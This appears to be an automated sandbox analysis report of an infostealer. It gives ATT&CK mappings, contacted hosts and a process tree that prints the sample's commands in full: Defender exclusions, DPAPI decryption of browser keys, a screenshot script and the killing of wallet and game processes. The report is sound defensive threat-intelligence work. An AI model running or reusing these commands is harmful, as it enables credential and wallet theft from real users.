0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67

Analysis

max time kernel
149s
max time network
98s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
08/05/2026, 15:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Size 43.2MB
Sample260508-sd17aaav3v
SHA256 0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67
MD5 1d529690a6fd4a4533960e8e41609d73
SHA1 eb655b969737ecf32c843136684598dbc9481d1a
SHA512 88e6843e79725e93160adf853f36681d468eb0b57f27a5236b456449bbba05baaea5fc080299ab3f52ed228571bc2b478bccedeccfcec4d1613802010d918325
SSDEEP 393216:f1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfZ:fMguj8Q4VfvRqFTrYU
TLSH
T131A78C0773EA01A5E5B3E1388AA74103D773B4675731CBDB329D02552FABAE09A7E710
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4136	powershell.exe
1888	powershell.exe
3940	powershell.exe
1712	powershell.exe
1612	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2312	netsh.exe

Executes dropped EXE 1 IoCs

pid	Process
4024	chromelevator.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	api.gofile.io
2	raw.githubusercontent.com
2	discord.com
4	raw.githubusercontent.com
5	api.gofile.io
9	discord.com

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\3eeefc2aa7e9fe47\output\Grabbed_Files\Desktop\desktop.ini	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
File created	C:\Users\Admin\AppData\Local\3eeefc2aa7e9fe47\output\Grabbed_Files\Downloads\desktop.ini	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
File created	C:\Users\Admin\AppData\Local\3eeefc2aa7e9fe47\output\Grabbed_Files\Documents\desktop.ini	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ipinfo.io
7	ipinfo.io

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2168	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3084	systeminfo.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
4292	taskkill.exe
2712	taskkill.exe
3896	taskkill.exe
2400	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2968	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
4136	powershell.exe
4136	powershell.exe
3940	powershell.exe
3940	powershell.exe
4024	chromelevator.exe
4024	chromelevator.exe
4024	chromelevator.exe
4024	chromelevator.exe
4024	chromelevator.exe
4024	chromelevator.exe
4024	chromelevator.exe
4024	chromelevator.exe
4024	chromelevator.exe
4024	chromelevator.exe
4024	chromelevator.exe
4024	chromelevator.exe
4024	chromelevator.exe
4024	chromelevator.exe
1712	powershell.exe
1712	powershell.exe
1612	powershell.exe
1612	powershell.exe
2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
1888	powershell.exe
1888	powershell.exe

Suspicious use of AdjustPrivilegeToken 51 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1300	WMIC.exe
Token: SeSecurityPrivilege	1300	WMIC.exe
Token: SeTakeOwnershipPrivilege	1300	WMIC.exe
Token: SeLoadDriverPrivilege	1300	WMIC.exe
Token: SeSystemProfilePrivilege	1300	WMIC.exe
Token: SeSystemtimePrivilege	1300	WMIC.exe
Token: SeProfSingleProcessPrivilege	1300	WMIC.exe
Token: SeIncBasePriorityPrivilege	1300	WMIC.exe
Token: SeCreatePagefilePrivilege	1300	WMIC.exe
Token: SeBackupPrivilege	1300	WMIC.exe
Token: SeRestorePrivilege	1300	WMIC.exe
Token: SeShutdownPrivilege	1300	WMIC.exe
Token: SeDebugPrivilege	1300	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1300	WMIC.exe
Token: SeRemoteShutdownPrivilege	1300	WMIC.exe
Token: SeUndockPrivilege	1300	WMIC.exe
Token: SeManageVolumePrivilege	1300	WMIC.exe
Token: 33	1300	WMIC.exe
Token: 34	1300	WMIC.exe
Token: 35	1300	WMIC.exe
Token: 36	1300	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1300	WMIC.exe
Token: SeSecurityPrivilege	1300	WMIC.exe
Token: SeTakeOwnershipPrivilege	1300	WMIC.exe
Token: SeLoadDriverPrivilege	1300	WMIC.exe
Token: SeSystemProfilePrivilege	1300	WMIC.exe
Token: SeSystemtimePrivilege	1300	WMIC.exe
Token: SeProfSingleProcessPrivilege	1300	WMIC.exe
Token: SeIncBasePriorityPrivilege	1300	WMIC.exe
Token: SeCreatePagefilePrivilege	1300	WMIC.exe
Token: SeBackupPrivilege	1300	WMIC.exe
Token: SeRestorePrivilege	1300	WMIC.exe
Token: SeShutdownPrivilege	1300	WMIC.exe
Token: SeDebugPrivilege	1300	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1300	WMIC.exe
Token: SeRemoteShutdownPrivilege	1300	WMIC.exe
Token: SeUndockPrivilege	1300	WMIC.exe
Token: SeManageVolumePrivilege	1300	WMIC.exe
Token: 33	1300	WMIC.exe
Token: 34	1300	WMIC.exe
Token: 35	1300	WMIC.exe
Token: 36	1300	WMIC.exe
Token: SeDebugPrivilege	4136	powershell.exe
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	4292	taskkill.exe
Token: SeDebugPrivilege	2712	taskkill.exe
Token: SeDebugPrivilege	3896	taskkill.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeDebugPrivilege	1888	powershell.exe
Token: SeDebugPrivilege	2400	taskkill.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 912 wrote to memory of 2256	912	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	81
PID 2256 wrote to memory of 3016	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	82
PID 3016 wrote to memory of 4284	3016	cmd.exe	84
PID 4284 wrote to memory of 3752	4284	net.exe	85
PID 2256 wrote to memory of 4272	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	86
PID 4272 wrote to memory of 2312	4272	cmd.exe	88
PID 2256 wrote to memory of 2804	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	89
PID 2804 wrote to memory of 1300	2804	cmd.exe	91
PID 2256 wrote to memory of 1164	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	92
PID 1164 wrote to memory of 2968	1164	cmd.exe	94
PID 2256 wrote to memory of 4764	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	95
PID 4764 wrote to memory of 2168	4764	cmd.exe	97
PID 2256 wrote to memory of 2208	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	98
PID 2208 wrote to memory of 3084	2208	cmd.exe	100
PID 2256 wrote to memory of 2796	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	102
PID 2796 wrote to memory of 2124	2796	cmd.exe	104
PID 2256 wrote to memory of 4404	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	106
PID 4404 wrote to memory of 244	4404	cmd.exe	108
PID 244 wrote to memory of 220	244	net.exe	109
PID 2256 wrote to memory of 400	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	110
PID 400 wrote to memory of 4136	400	cmd.exe	112
PID 2256 wrote to memory of 4940	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	113
PID 4940 wrote to memory of 3940	4940	cmd.exe	115
PID 3940 wrote to memory of 4024	3940	powershell.exe	116
PID 4024 wrote to memory of 3460	4024	chromelevator.exe	118
PID 4024 wrote to memory of 3460	4024	chromelevator.exe	118
PID 4024 wrote to memory of 2428	4024	chromelevator.exe	121
PID 4024 wrote to memory of 2428	4024	chromelevator.exe	121
PID 2256 wrote to memory of 4424	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	122
PID 4424 wrote to memory of 4292	4424	cmd.exe	124
PID 2256 wrote to memory of 2392	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	125
PID 2392 wrote to memory of 2712	2392	cmd.exe	127
PID 2256 wrote to memory of 2224	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	128
PID 2256 wrote to memory of 2500	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	130
PID 2256 wrote to memory of 4296	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	131
PID 2224 wrote to memory of 3896	2224	cmd.exe	134
PID 2500 wrote to memory of 1712	2500	cmd.exe	135
PID 4296 wrote to memory of 1612	4296	cmd.exe	136
PID 2256 wrote to memory of 2660	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	137
PID 2660 wrote to memory of 1888	2660	cmd.exe	139
PID 2256 wrote to memory of 5032	2256	0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe	140
PID 5032 wrote to memory of 2400	5032	cmd.exe	142

C:\Users\Admin\AppData\Local\Temp\0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
"C:\Users\Admin\AppData\Local\Temp\0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:912
- C:\Users\Admin\AppData\Local\Temp\0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe
  C:\Users\Admin\AppData\Local\Temp\0fa3d9555097014cc16a6bad500631c4c0730e1b72eeb73d20ebca5435211d67.exe C:\snapshot\Kynix_Bot\builds\afcf973d\kynix.js --hidden
  2⤵
  - Drops desktop.ini file(s)
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3016
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4284
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:3752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4272
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles state
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:2312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2804
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1164
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
      4⤵
      Modifies registry key
      PID:2968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4764
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:2168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2208
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:3084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1778252508032.vbs""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2796
  - - C:\Windows\system32\cscript.exe
      cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1778252508032.vbs"
      4⤵
      PID:2124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4404
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:244
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe' -WorkingDirectory 'C:\Users\Admin\AppData\Local\Temp\system32os' -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe' -WorkingDirectory 'C:\Users\Admin\AppData\Local\Temp\system32os' -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3940
    - - C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe
        
        "C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe" all kaakkak28288nddhhBDAAD8282ksksk
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4024
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        6⤵
        
        PID:3460
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        6⤵
        
        PID:2428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4424
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Steam.exe /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2392
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM javaw.exe /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2224
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Exodus.exe /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAyQ0C9xNt7U2/eaTJ0XC8thAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAMTM0F7wk/JuMqEG/2ujlVHlOTh/qGn/+95t4B8CTs5wAAAAAA6AAAAAAgAAIAAAAAIk7+KCCvwJAAqM9ccDdxFM79U09YSrvo+8Hg/hDy77MAAAACNEAIZb1pjGmdr8fze/Zo7zwIPiH7um1SWhQWrpbR873E/VGW9T+yLUmzX0h2nc9UAAAAB3Nd9ANDjw7M/5an3wTuPddstBxgIP03QTtgXQhMimCZaG1KFQgfK5uHrpP71jMyD0vg68fIpvmZ5euU8p2fjd');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAyQ0C9xNt7U2/eaTJ0XC8thAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAMTM0F7wk/JuMqEG/2ujlVHlOTh/qGn/+95t4B8CTs5wAAAAAA6AAAAAAgAAIAAAAAIk7+KCCvwJAAqM9ccDdxFM79U09YSrvo+8Hg/hDy77MAAAACNEAIZb1pjGmdr8fze/Zo7zwIPiH7um1SWhQWrpbR873E/VGW9T+yLUmzX0h2nc9UAAAAB3Nd9ANDjw7M/5an3wTuPddstBxgIP03QTtgXQhMimCZaG1KFQgfK5uHrpP71jMyD0vg68fIpvmZ5euU8p2fjd');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAyQ0C9xNt7U2/eaTJ0XC8thAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAEc3O59etJ5wvBTrSc3YYtWpWyqBEwnLSMWuCATLGaEoAAAAADoAAAAACAAAgAAAAzjkaRZ7ZWWI+0qJzpJBfDut09V4Ipk2dceRl9ibW/JMwAAAAoJ64XwdKHGG8TpT4iqbNYuSlb3XMk5OPzSd83VJ7rrRARTb37Aozc/qh/O2PL/F3QAAAAA2SuzMxB00hc0qoBzqvVmzkfkcU7RrF11Ul7Ei3BOj/ZqpSOaNOcCWh3XRUewLcQxHcCf4CNYWJqSYhw8fT4CA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4296
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAyQ0C9xNt7U2/eaTJ0XC8thAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAEc3O59etJ5wvBTrSc3YYtWpWyqBEwnLSMWuCATLGaEoAAAAADoAAAAACAAAgAAAAzjkaRZ7ZWWI+0qJzpJBfDut09V4Ipk2dceRl9ibW/JMwAAAAoJ64XwdKHGG8TpT4iqbNYuSlb3XMk5OPzSd83VJ7rrRARTb37Aozc/qh/O2PL/F3QAAAAA2SuzMxB00hc0qoBzqvVmzkfkcU7RrF11Ul7Ei3BOj/ZqpSOaNOcCWh3XRUewLcQxHcCf4CNYWJqSYhw8fT4CA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2660
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
